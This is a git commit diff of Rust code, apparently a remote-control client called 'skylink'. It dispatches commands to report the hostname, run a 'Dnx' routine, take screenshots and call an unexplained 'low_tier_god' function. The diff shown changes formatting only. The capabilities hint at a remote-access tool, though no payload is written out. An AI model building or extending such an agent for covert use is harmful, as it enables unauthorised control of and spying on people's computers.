tweak: only log debug entries in debug builds

This commit is contained in:
Xory 2025-12-18 16:57:03 +02:00
parent 72740c93af
commit edbe8a5e3f
5 changed files with 130 additions and 157 deletions

View file

@ -45,7 +45,7 @@ pub enum Command {
ClientInfo,
Dnx { params: DnxParams },
Screenshot,
LowTierGod
LowTierGod,
}
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
@ -81,10 +81,10 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
let hostname = sysinfo::System::host_name();
let skylink_ver = "1.0.0";
if let Some(actual_hostname) = hostname {
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
} else {
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
}
}
Command::Dnx { params } => {
@ -128,11 +128,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
}
// this was way easier than i expected... assuming it works :pilgrim2:
Ok(format!(""))
},
}
Command::LowTierGod => {
let _ = low_tier_god().await; // if this fails you're fucked
Ok(format!(""))
},
let _ = low_tier_god().await; // if this fails you're fucked
Ok(format!(""))
}
_ => todo!(),
}
}